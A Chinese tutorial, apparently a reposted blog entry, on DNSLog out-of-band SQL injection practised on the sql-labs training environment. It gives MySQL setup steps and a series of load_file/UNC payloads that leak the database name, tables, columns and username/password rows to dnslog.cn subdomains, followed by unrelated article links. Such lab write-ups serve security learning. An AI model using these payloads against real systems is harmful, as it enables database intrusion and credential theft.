SQL注入之DNSLog外带注入

一、认识:

什么是dnslog呢?

DNS就是域名解析服务,把一个域名转换成对应的IP地址,转换完成之后,DNS服务器就会有一个日志记录本次转换的时间、域名、域名对应的ip、请求方的一些信息,这个日志就叫DNSLog。

但是想要查看DNSLog信息的人,必须是拥有DNS服务器权限的人,这就使的我们要是用dnslog注入方法的话,就需要搭建自己的一个dns服务器,成本相对较高。

所以在此就推荐两个平台,可以快速让我们使用dnslog外带注入

  1. ceye.io
  2. dnslog.cn

也可以使用BurpSuite同样可以实现相应功能。

二、利用场景

使用dnslog方法的场景非常苛刻

需要知道以下数据

  1. secure_file_priv=""  ,secure_file_priv必须是空

    1. secure_file_priv为null,load_file则不能加载文件。

    2. secure_file_priv为路径,可以读取路径中的文件;

    3. secure_file_priv为空,可以读取磁盘的目录;

  2. 服务器只能在windows下使用,因为需要使用到UNC路径

  3. 拥有root权限,因为有root权限后才能使用load_file()这个函数

    1. LOAD_FILE()函数可以加载本地文件系统中的文件,并将其作为字符串返回

三、环境的搭建

还是使用我们的sql-labs进行实验

首先查看mysql中secure_file_priv是否为空,如若不为空,则进入my.ini文件进行修改

进到my.ini文件中将secure_file_priv的值从null改为""
如果没有的话可以直接写入secure_file_priv=""之后重新启动mysql

1、查看secure_file_priv是否为空 

show variables like '%secu%';

2、进入my.ini修改

在my.ini中添加secure_file_priv=""

重启mysql

四、实现

此处我使用dnslog.cn获取一盒域名

1、先进行测试

以sql-labs的第8关的布尔盲注为例:

解释:我们先进测试,请求一下当前登录的用户;

1、load_file()函数用于从文件系统中读取文件内容并将其作为字符串返回,

注:四个\是因为斜杠有特殊含义,我们需要转义两个,user()是我们要请求的数据,最后一个是我们刚才获取的域名

2、然后使用concat()函数将数据拼接起来

3、相当于请求了一个UNC的地址就是这样一个数据\\user().ui9a1m.dnslog.cn这个主机下的/abc这个共享文件夹虽然不存在但是无所谓我们的目的是需要将user()数据获取,它会将数据解析到我们使用的dnslog.cn中它可以记录解析后的数据
4、这里为什么要用hex()呢因为user()中有一个@符它不支持所以我们将它转为16进制

?id=1' and load_file(concat('\\\\',hex(user()),'.ui9a1m.dnslog.cn/abc'))--+

发送请求,查看我们得到的信息

对16进制进行还原,可以看到得到了我们想要的数据

进行爆库

此处就不需要转16进制,直接请求表名

?id=1' and load_file(concat('\\\\',database(),'.ui9a1m.dnslog.cn/abc'))--+

得到库名:security

接下来我们进行爆表名

爆表名

注:因为使用group_concat()函数拼接时默认使用' , '进行拼接,dnslog无法解析,所以这里有两种方法可以解决

1、要么转为16进制,

2、要么使用separator "_"  使用下划线连接

?id=1'  and load_file(concat('\\\\',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.503l34.dnslog.cn/abc'))--+

很明显,我们要得到数据大概率在users表里,可以继续进行查询测试

爆字段

id=1' 20and load_file(concat('\\\\',(select group_concat(column_name separator '_') from information_schema.columns where table_schema=database() and table_name='users'),'.5qir98.dnslog.cn/abc'))--+

很明显,我们查对了,得到了想要的列名:username、password

那么知道了库名,表名,列名,接下来就可以查数据了

爆数据

id=1' and load_file(concat('\\\\' (select concat(username,'_',password) from security.users limit 0,1),'.nr4rzc.dnslog.cn/abc'))--+

注:在此处dnslog不能解析连接符'~',这里的我解决办法有两个;

1、对concat()函数进行16进制转换

id=1' and load_file(concat('\\\\' (select hex(concat(username,'_',password)) from security.users limit 0,1),'.nr4rzc.dnslog.cn/abc'))--+

2、或者将连接符换成'_'

在这里我两个都用了下是可以,上面仅展示一个

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/401275.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于 java springboot+layui仓库管理系统

基于 java springbootlayui仓库管理系统设计和实现 博主介绍:5年java开发经验,专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 央顺技术团队 Java毕设项目精品实战案例《1000套》 欢迎点赞 收藏 ⭐留言 文末获取源…

好书推荐| After Effects 2022案例实战全视频教程

After Effects 2022案例实战全视频教程 作者 :王红卫 书号:9787302631958 定价:99元 出版时间:2023年7月 作者介绍 王红卫 拥有多年设计师的经学经验,北京理工大学百事特教师,水木风云工作室创始人&a…

网络编程知识整理

目录 1.1 引言 1.2 分层 1.3 TCP/IP的分层 1.4 互联网的地址 1.5 域名服务 1.6 封装 1.7 分用 1.8 端口号 1.1 引言 很多不同的厂家生产各种型号的计算机,它们运行完全不同的操作系统,但 T C P / I P协议族允许它们互相进行通信。这一点很让人感…

⭐北邮复试刷题105. 从前序与中序遍历序列构造二叉树__递归分治 (力扣每日一题)

105. 从前序与中序遍历序列构造二叉树 给定两个整数数组 preorder 和 inorder ,其中 preorder 是二叉树的先序遍历, inorder 是同一棵树的中序遍历,请构造二叉树并返回其根节点。 示例 1: 输入: preorder [3,9,20,15,7], inorder [9,3,15,…

论文精读--word2vec

word2vec从大量文本语料中以无监督方式学习语义知识,是用来生成词向量的工具 把文本分散嵌入到另一个离散空间,称作分布式表示,又称为词嵌入(word embedding)或词向量 Abstract We propose two novel model architec…

Go 中的 init 如何用?它的常见应用场景有哪些呢?

嗨,大家好!我是波罗学。本文是系列文章 Go 技巧第十六篇,系列文章查看:Go 语言技巧。 Go 中有一个特别的 init() 函数,它主要用于包的初始化。init() 函数在包被引入后会被自动执行。如果在 main 包中,它也…

四、分类算法 - 随机森林

目录 1、集成学习方法 2、随机森林 3、随机森林原理 4、API 5、总结 sklearn转换器和估算器KNN算法模型选择和调优朴素贝叶斯算法决策树随机森林 1、集成学习方法 2、随机森林 3、随机森林原理 4、API 5、总结

Kubernetes 卷存储 NFS | nfs搭建配置 原理介绍 nfs作为存储卷使用

1、NFS介绍 NFS(Network File System)是一种分布式文件系统协议,允许客户端远程访问服务器上的文件,实现数据共享。它整合多个存储设备为统一文件系统,方便数据存储和管理,支持负载均衡和故障转移&#xf…

[设计模式Java实现附plantuml源码~行为型]协调多个对象之间的交互——中介者模式

前言: 为什么之前写过Golang 版的设计模式,还在重新写Java 版? 答:因为对于我而言,当然也希望对正在学习的大伙有帮助。Java作为一门纯面向对象的语言,更适合用于学习设计模式。 为什么类图要附上uml 因为很…

DataX - 全量数据同步工具

前言 今天是2024-2-21,农历正月十二,相信今天开始是新的阶段,尽管它不是新的周一、某月一日、某年第一天,尽管我是一个很讲究仪式感的人。新年刚过去 12 天,再过 3 天就开学咯,开学之后我的大学时光就进入了…

内网穿透——NPS突然无法连接

温馨提示 😊😊😊😊😊😊😊🌭🌭🌭🌭🌭🌭🌭❤️❤️❤️❤️❤️❤️❤️🥨🥨&#x1f9…

Go语言中的TLS加密:深入crypto/tls库的实战指南

Go语言中的TLS加密:深入crypto/tls库的实战指南 引言crypto/tls库的核心组件TLS配置:tls.Config证书加载与管理TLS握手过程及其实现 构建安全的服务端创建TLS加密的HTTP服务器配置TLS属性常见的安全设置和最佳实践 开发TLS客户端应用编写使用TLS的客户端…

基于springboot+vue的B2B平台的购物推荐网站(前后端分离)

博主主页:猫头鹰源码 博主简介:Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战,欢迎高校老师\讲师\同行交流合作 ​主要内容:毕业设计(Javaweb项目|小程序|Pyt…

数据结构 计算结构体大小

一、规则: 操作系统制定对齐量: 64位操作系统,默认8Byte对齐 32位操作系统,默认4Byte对齐 结构体对齐规则: 1.结构体整体的大小,需要是最大成员对齐量的整数倍 2.结构体中每一个成员的偏移量需要存在…

Bert基础(三)--位置编码

背景 还是以I am good(我很好)为例。 在RNN模型中,句子是逐字送入学习网络的。换言之,首先把I作为输入,接下来是am,以此类推。通过逐字地接受输入,学习网络就能完全理解整个句子。然而&#x…

物联网在智慧景区中的应用:提升游客体验与运营效率

目录 一、物联网技术概述 二、物联网在智慧景区中的应用 1、智能门票系统 2、智能导览系统 3、智能安全监控系统 4、智能环保系统 三、物联网在智慧景区中提升游客体验 1、提高游览便捷性 2、个性化服务体验 3、提升游客安全感 四、物联网在智慧景区中提升运营效率 …

算法--动态规划(背包问题)

这里写目录标题 总览dp问题的优化01背包问题概述算法思想算法思想中的注意点例题代码 完全背包问题概述 多重背包问题概述 分组背包问题概述 总览 dp问题的优化 要清楚:dp问题的优化一般是对dp问题的代码或者计算方程做一个等效变形 有了这个前提,我们在…

浅谈maven的生命周期

正文: 在Maven中,生命周期定义了项目构建过程的不同阶段以及在每个阶段中执行的插件目标。Maven的生命周期是由一系列阶段组成的,每个阶段都有一个唯一的标识符。 Clean生命周期:用于清理项目的构建目录。它包含以下阶段: pre-clean:执行在清理操作之前的任何操作。clea…

web安全学习笔记【13】——信息打点(3)

信息打点-JS架构&框架识别&泄漏提取&API接口枚举&FUZZ爬虫&插件项目[1] #知识点: 1、业务资产-应用类型分类 2、Web单域名获取-接口查询 3、Web子域名获取-解析枚举 4、Web架构资产-平台指纹识别 ------------------------------------ 1、开源…

白盒测试接口测试自动化测试

一、白盒测试:一种测试策略,允许我们检查程序的内部结构,对程序的逻辑结构进行检查,从中获取测试数据。白盒测试的对象基本是源程序,所以它又称为结构测试或逻辑驱动测试,白盒测试方法一般分为静态测试和动…